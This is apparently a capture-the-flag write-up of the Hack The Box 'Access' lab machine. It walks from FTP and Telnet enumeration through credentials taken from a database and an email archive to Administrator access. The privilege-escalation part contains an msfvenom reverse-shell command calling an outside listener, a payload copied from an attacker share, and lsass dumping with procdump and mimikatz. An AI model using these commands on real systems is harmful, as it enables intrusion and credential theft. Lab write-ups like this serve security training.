HTB-Access

Information Gathering

Rustscan finds FTP, Telnet, and, HTTP open:

Rustscan

┌──(yoon㉿kali)-[~/Documents/htb/access]
└─$ rustscan --addresses 10.10.10.98 --range 1-65535
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
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😵 https://admin.tryhackme.com
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Host is up, received syn-ack (0.64s latency).
Scanned at 2024-04-05 23:53:47 EDT for 1s
 
PORT   STATE SERVICE REASON
21/tcp open  ftp     syn-ack
23/tcp open  telnet  syn-ack
80/tcp open  http    syn-ack
 
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 1.46 seconds

Enumeration

HTTP - TCP 80

Website shows nothing much:

Since the web app is running on IIS 7.5 I will run Feroxbuster with lower case directory list:

sudo feroxbuster -u http://10.10.10.98 -n -x php -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt -C 404

However, it finds nothing useful.

FTP - TCP 21

Luckily, anonymous:anonymous login is possible:

I will download all the contents inside FTP using the command below:

sudo wget -r --no-passive --no-parent ftp://anonymous:anonymous@10.10.10.98

backup.mdb

Inside /Backups, there is backup.mdb file.

I can dump the tables inside using: mdb-tables backup.mdb:

Since the dump is not organized, I will make it more readable using: mdb-tables backup.mdb | tr ' ' '\n'

I can dump the content of each table one by one using the bash script below:

#!/bin/bash
 
# Read the table names from the backup-mdb.tables file
while IFS= read -r table_name; do
    # Run mdb-json command for each table name
    mdb-json backup.mdb "$table_name"
done < backup-mdb.tables

After running the script, I will look for the keyword ‘pass’ and it seems like several credentials are exposed:

Below I will organize the found credentials:

admin:admin
engineer:access4u@security
backup_admin:admin
John Carter:020481
Mark Smith:010101
Sunita Rahman:000000
Mary Jones:666666
Monica Nunes:123321

Access-Control.zip

Access Control.zip is located in /Engineer.

I will try decrypting using the password found earlier access4u@seurity and it works:

Running 7z x -paccess4u@seurity "Access Control.zip" dumps Access Control.pst file:

Using readpst, I will dump the contents inside Access Control.pst:

readpst -D -M -b -o output Access\ Control.pst

File name 2 is dumped and it seems to be a HTML Document:

Reading the HTML text, new credentials are exposed: security:4Cc3ssC0ntr0ller

Status: RO
From: john@megacorp.com <john@megacorp.com>
Subject: MegaCorp Access Control System "security" account
To: 'security@accesscontrolsystems.com'
Date: Thu, 23 Aug 2018 23:44:07 +0000
MIME-Version: 1.0
Content-Type: multipart/mixed;
	boundary="--boundary-LibPST-iamunique-2009303003_-_-"
 
 
----boundary-LibPST-iamunique-2009303003_-_-
Content-Type: multipart/alternative;
	boundary="alt---boundary-LibPST-iamunique-2009303003_-_-"
 
--alt---boundary-LibPST-iamunique-2009303003_-_-
Content-Type: text/plain; charset="utf-8"
 
Hi there,
 
 
 
The password for the “security” account has been changed to 4Cc3ssC0ntr0ller.  Please ensure this is passed on to your engineers.
 
 
 
Regards,
 
John
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Telnet - TCP 23

Using the credentials found from Access Control.pst, I will sign-in to Telnet service:

Now I have a interactive shell as security

Privesc: security to Administrator

From local enumeration, I see ZKAccess3.5 Security System.lnk file inside C:\Users\Public\Desktop:

I will take a look at the file and it seems like there is a runas command being used as Administrator using the save credentials:

Using cmdkey /list, I can confirm that Administrator’s password is cached:

In order to spawn a reverse shell as Administrator using saved credentials, I will first create a reverse shell using msfvenom:

msfvenom -p windows/shell_reverse_tcp LHOST=10.10.16.12 LPORT=1337 -f exe > rev.exe

Now I will transfer reverse shell payload to target machine:

copy \\10.10.16.12\share\rev.exe

I will execute the reverse shell payload using runas and cached credential:

C:\Users\security\AppData\Local\Temp>runas /user:ACCESS\Administrator /savecred rev.exe

Now on my local listener, shell is spawned as Administrator:

Beyond Root

Persistence

Since recreating process to Administrator is complicated, I will try to dump password hash for the user Administrator so that I can log-in directly using Telnet Service.

Mimikatz

I first transfer mimikatz.exe to target machine:

I will also transfer procdump.exe over:

Now I will dump lsass from lsass.exe

procdump.exe -accepteula -64 -ma lsass.exe lsass.dmp

WIth mimikatz started, I will load the dumped lsass and open the dump file:

sekurlsa::minidump lsass.dmp & sekurlsa::logonPasswords full

Luckily, mimikatz dumps plain-text password for Administrator:

Now using Telnet Service, I can sign-in directly as Administrator:

👨‍💻My Notes

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